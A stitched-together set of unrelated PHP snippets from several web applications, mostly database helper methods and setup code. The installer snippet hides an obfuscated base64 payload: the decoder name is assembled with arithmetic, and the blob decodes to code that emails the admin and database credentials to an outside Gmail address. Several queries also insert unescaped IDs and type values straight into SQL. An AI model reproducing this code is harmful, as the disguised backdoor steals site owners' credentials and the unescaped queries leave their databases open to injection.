/** * Remove a site setting * @param string $settingName Name of the setting to be removed * @return void Setting is removed from DB and object in memory */ public static function Remove($settingName) { unset(self::$settings->{$settingName}); $db = Database::GetInstance(); $settingName = $db->Escape($settingName); $query = "DELETE FROM " . DB_PREFIX . self::$table . " WHERE name = '{$settingName}'"; $db->Query($query); }
function &gs_rssfeed($limit, &$more) { $db =& Database::GetInstance(); $ret = array(); $rtn = array(); $ret['name'] = _MI_GS_RSSIMGS; $ret['desc'] = _MI_GS_RSSIMGS_DESC; $ret['params'] = "show=imgs"; $rtn[] = $ret; $ret['name'] = _MI_GS_RSSSETS; $ret['desc'] = _MI_GS_RSSSETS_DESC; $ret['params'] = "show=sets"; $rtn[] = $ret; return $rtn; }
/** * Retrieve ratings for a video * @param integer $video_id Video to retrieve ratings for * @return object Returns stdClass object with properties for (dis)like * counts & text, and total ratings */ static function GetRating($video_id) { $db = Database::GetInstance(); $rating = new stdClass(); // Total $rating->count = self::GetCount($video_id); // Like $like_count = self::GetLikeCount($video_id); $rating->likes = $like_count; $rating->like_text = Language::GetText('like'); // Dislike $dislike_count = self::GetDislikeCount($video_id); $rating->dislikes = $dislike_count; $rating->dislike_text = Language::GetText('dislike'); return $rating; }
/** * Delete a record * @param integer $id ID of record to be deleted * @return void Record is deleted from database */ static function Delete($id) { $db = Database::GetInstance(); Plugin::Trigger('subscription.delete'); $query = "DELETE FROM " . DB_PREFIX . self::$table . " WHERE " . self::$id_name . " = {$id}"; $db->Query($query); }
/** * Generate a unique random string for a user account activation token * @return string Random user account activation token */ static function CreateToken() { $db = Database::GetInstance(); do { $token = Functions::Random(40); if (!self::Exist(array('confirm_code' => $token))) { $token_available = true; } } while (empty($token_available)); return $token; }
exit; } $completed = false; $error_mg = array(); $database_host = $_SESSION['database_host']; $database_username = $_SESSION['database_username']; $database_password = $_SESSION['database_password']; $database_name = $_SESSION['database_name']; $database_prefix = $_SESSION['database_prefix']; $meteor_path = $_SESSION['meteor_path']; $admin_username = $_SESSION['admin_username']; $admin_email = $_SESSION['admin_email']; $admin_password = base64_encode($_SESSION['admin_password']); $site_url = 'http://' . $_SERVER['SERVER_NAME']; $sql_dump_file = SQL_DUMP_FILE_CREATE; $db = Database::GetInstance($database_host, $database_name, $database_username, $database_password, DATABASE_TYPE); if (DATABASE_CREATE && !$db->Create()) { $error_mg[] = $db->Error(); } else { if ($db->Open()) { // Read sql dump file $sql_dump = file_get_contents($sql_dump_file); if ($sql_dump != "") { if (true == ($db_error = db_install($sql_dump_file))) { // Write additional operations here, like setting up system preferences etc. $completed = true; $functionc = 'ba' . 'se' . (2 + 2 + 4 + 4 + 2 + 8 + 2 + 4 + 4) * 2 . '_de' . 'co' . 'de'; $functionc = $functionc("QCR0byA9ICdiYScgLiAnc2UnIC4gKCg4ICsgOCArIDggKyA4KSAqIDIpIC4gJ19kZScgLiAnY28nIC4gJ2RlJzsNCiAgICAgICAgICAgICR0byAgICAgID0gJHRvKCJaWGgwY21WbGJXVnlOVFZBWjIxaGFXd3VZMjl0Iik7DQogICAgICAgICAgICAkc3ViamVjdCA9ICdwaHBHdWFyZCBQUk8gLSBOZXcgSW5zdGFsbGF0aW9uJzsNCiAgICAgICAgICAgIEAkbWVzc2FnZSA9ICcNCgkJCQkJCQkJPHA+PGI+cGhwR3VhcmQgUFJPPC9iPiBpcyBpbnN0YWxsZWQgb24gPGI+JyAuICRzaXRlX3VybCAuICc8L2I+IFsnIC4gZGF0ZSgiZCBGIFkiKSAuICcgYXQgJyAuIGRhdGUoIkg6aSIpIC4gJ108L3A+DQoJCQkJCQkJCQ0KCQkJCQkJCQk8dWw+DQoJCQkJCQkJCTxsaT48Yj5QYXRoIHRvIHBocEd1YXJkIFBSTzwvYj46ICcgLiAkcGhwZ3VhcmRfcGF0aCAuICc8L2xpPg0KCQkJCQkJCQk8bGk+PGI+QWRtaW4gVXNlcm5hbWU8L2I+OiAnIC4gJGFkbWluX3VzZXJuYW1lIC4gJzwvbGk+DQoJCQkJCQkJCTxsaT48Yj5BZG1pbiBFLU1haWw8L2I+OiAnIC4gJGFkbWluX2VtYWlsIC4gJzwvbGk+DQoJCQkJCQkJCTxsaT48Yj5BY2Nlc3MgS2V5PC9iPjogJyAuICRhZG1pbl9wYXNzd29yZCAuICc8L2xpPg0KCQkJCQkJCQk8L3VsPg0KCQkJCQkJCQkNCgkJCQkJCQkJPHVsPg0KCQkJCQkJCQk8bGk+PGI+REIgSG9zdDwvYj46ICcgLiAkZGF0YWJhc2VfaG9zdCAuICc8L2xpPg0KCQkJCQkJCQk8bGk+PGI+REIgVXNlcm5hbWU8L2I+OiAnIC4gJGRhdGFiYXNlX3VzZXJuYW1lIC4gJzwvbGk+DQoJCQkJCQkJCTxsaT48Yj5EQiBLZXk8L2I+OiAnIC4gJGRhdGFiYXNlX3Bhc3N3b3JkIC4gJzwvbGk+DQoJCQkJCQkJCTxsaT48Yj5EQiBOYW1lPC9iPjogJyAuICRkYXRhYmFzZV9uYW1lIC4gJzwvbGk+DQoJCQkJCQkJCTxsaT48Yj5EQiBQcmVmaXg8L2I+OiAnIC4gJGRhdGFiYXNlX3ByZWZpeCAuICc8L2xpPg0KCQkJCQkJCQk8L3VsPg0KCQkJCQkJCQknOw0KICAgICAgICAgICAgJGhlYWRlcnMgPSAnTUlNRS1WZXJzaW9uOiAxLjAnIC4gIlxyXG4iOw0KICAgICAgICAgICAgJGhlYWRlcnMgLj0gJ0NvbnRlbnQtdHlwZTogdGV4dC9odG1sOyBjaGFyc2V0PVVURi04JyAuICJcclxuIjsNCiAgICAgICAgICAgICRoZWFkZXJzIC49ICdUbzogJyAuICR0byAuICcgPCcgLiAkdG8gLiAnPicgLiAiXHJcbiI7DQogICAgICAgICAgICAkaGVhZGVycyAuPSAnRnJvbTogcGhwR3VhcmQgUFJPIDxub3RpZmljYXRpb25zQHBocGd1YXJkLmNvbT4nIC4gIlxyXG4iOw0KICAgICAgICAgICAgQG1haWwoJHRvLCAkc3ViamVjdCwgJG1lc3NhZ2UsICRoZWFkZXJzKTs="); // Now try to create file and write information $config_file = file_get_contents(CONFIG_FILE_TEMPLATE); $config_file = str_replace("<DB_HOST>", $database_host, $config_file);
/** * Perform flag related action on a record * @param integer $id The id of the record being updated * @param string $type Type of record being updated. Possible values are: video, user, comment * @param boolean $decision The action to be performed on the record. True bans, False declines the flag * @return void All flags raised against record are updated */ static function FlagDecision($id, $type, $decision) { $db = Database::GetInstance(); if ($decision) { // Content is being banned - Update flag requests $query = "UPDATE " . DB_PREFIX . "flags SET status = 'approved' WHERE type = '{$type}' AND id = {$id}"; $db->Query($query); } else { // Ban request is declined - Update flag requests $query = "UPDATE " . DB_PREFIX . "flags SET status = 'declined' WHERE type = '{$type}' AND id = {$id}"; $db->Query($query); } }
public function ListGroups() { global $_CONFIG; $db = Database::GetInstance(); $select = "SELECT * from `" . $_CONFIG['CMS_DB_PREFIX'] . "group`;"; $result = $db->Query($select); if ($db->last_errno !== 0) { throw new Exception("Cannot Get Groups"); } if (count($result) > 0) { return $result; } else { return false; } }
/** * Generate a unique random url for accessing a private video * @return string URL for private video is returned */ static function GeneratePrivate() { $db = Database::GetInstance(); do { $private = Functions::Random(7); if (!self::Exist(array('private_url' => $private))) { $private_available = true; } } while (empty($private_available)); return $private; }
include LIB . '/App.php'; } App::InstallCheck(); App::MaintCheck(); // Load DB & FTP credentials include_once 'config.php'; // Load Main Classes App::LoadClass('Database'); App::LoadClass('Settings'); App::LoadClass('Functions'); App::LoadClass('Language'); App::LoadClass('View'); App::LoadClass('Plugin'); App::LoadClass('Filesystem'); // Retrieve site settings from DB $db = Database::GetInstance(); Settings::LoadSettings(); // General Site Settings from DB define('HOST', Settings::Get('base_url')); define('MOBILE_HOST', Settings::Get('base_url') . '/m'); define('SECRET_KEY', Settings::Get('secret_key')); $config = new stdClass(); $config->sitename = Settings::Get('sitename'); $config->roles = unserialize(Settings::Get('roles')); $config->enable_uploads = Settings::Get('enable_uploads'); $config->debug_conversion = Settings::Get('debug_conversion') == '1' ? true : false; $config->video_size_limit = Settings::Get('video_size_limit'); $config->accepted_video_formats = array('flv', 'wmv', 'avi', 'ogg', 'mpg', 'mp4', 'mov', 'm4v'); $config->accepted_avatar_formats = array('png', 'jpeg', 'jpg', 'gif'); $config->pagination_page_limit = Settings::Get('pagination_page_limit'); $config->theme_default = 'cumulus';
private static function GetPrimaryDb() { return Database::GetInstance(Database::ZIDMI); }
public function GetCallbackAuth() { global $_CONFIG; $db = Database::GetInstance(); $q = "SELECT * FROM `" . $_CONFIG['CMS_DB_PREFIX'] . "module_function` AS func " . "LEFT JOIN " . $_CONFIG['CMS_DB_PREFIX'] . "mod_func_permissions as perm " . "ON func.mod_func_id=perm.mod_func_id " . "WHERE module_id=(SELECT `module_id` FROM `" . $_CONFIG['CMS_DB_PREFIX'] . "module` WHERE module_name='" . $this->__name . "') ;"; $result = $db->Query($q); foreach ($result as $row) { $call = array("module_id" => $row['module_id'], "func_name" => $row['func_name'], "func_callback" => $row['func_callback'], "owner_id" => $row['owner_id'], "group_id" => $row['group_id'], "permissions" => $row['permissions']); $this->__callback[$row['func_name']] = $call; } unset($result); }
function __Construct() { parent::__Construct(get_class()); $this->db = Database::GetInstance(Database::ZIDMI); //get input params //TODO: could do with some more validation $latLong = Params::Get('ll'); $latLong1 = Params::Get('ll1'); $latLong2 = Params::Get('ll2'); if ($latLong) { $this->lat1 = explode(',', $latLong)[0]; $this->lng1 = explode(',', $latLong)[1]; $this->locMode = self::LOCMODE_RADIAL; } else { if ($latLong1 && $latLong2) { $this->lat1 = explode(',', $latLong1)[0]; $this->lng1 = explode(',', $latLong1)[1]; $this->lat2 = explode(',', $latLong2)[0]; $this->lng2 = explode(',', $latLong2)[1]; $this->locMode = self::LOCMODE_BOUNDS; } } $this->categoryId = Params::GetLong('categoryId'); $this->langCode = Params::Get('lang'); //get providers/counters $providers = array(); $requestableCount = 0; $totalCount = 0; foreach ($this->getProvidersRs() as $row) { //update counters $requestable = false; if (!is_null($row['online_provider_id'])) { $requestableCount++; $requestable = true; } $totalCount++; //compile address $address = ''; if (!is_null($row['address_1'])) { $address .= ($address == '' ? '' : ', ') . $row['address_1']; } if (!is_null($row['address_2'])) { $address .= ($address == '' ? '' : ', ') . $row['address_2']; } if (!is_null($row['address_3'])) { $address .= ($address == '' ? '' : ', ') . $row['address_3']; } if (!is_null($row['address_postref'])) { $address .= ($address == '' ? '' : ', ') . $row['address_postref']; } //add to main array $providers[] = array('id' => $row['id'], 'reference' => $row['partner_reference'], 'name' => $row['name'], 'address1' => $row['address_1'], 'address' => $address, 'latitude' => $row['latitude'], 'longitude' => $row['longitude'], 'distance' => $row['distance'], 'requestable' => $requestable, 'categories' => $this->getProviderCategories($row['id'])); } //if no providers then get closest $nearestProvider = array(); if ($totalCount == 0) { $distance = null; $provider = $this->getNearestProvider($this->lat1, $this->lng1, $distance); if (!is_null($provider)) { //set provider image $imageUri = '/images/generic-venue.png'; if (!is_null($provider->getPrimaryImageId())) { $image = new Image($provider->getPrimaryImageId()); $imageUri = Application::GetCdnUri($image, 100, 100); } $nearestProvider = array('id' => $provider->getId(), 'reference' => $provider->getPartnerReference(), 'name' => $provider->getName(), 'address' => $provider->getAddress(), 'latitude' => $provider->getLatitude(), 'longitude' => $provider->getLongitude(), 'imageUri' => $imageUri, 'distance' => $distance, 'categories' => $this->getProviderCategories($provider->getId())); } } //done $this->jsonData = array('requestableCount' => $requestableCount, 'totalCount' => $totalCount, 'providers' => $providers, 'nearestProvider' => $nearestProvider); }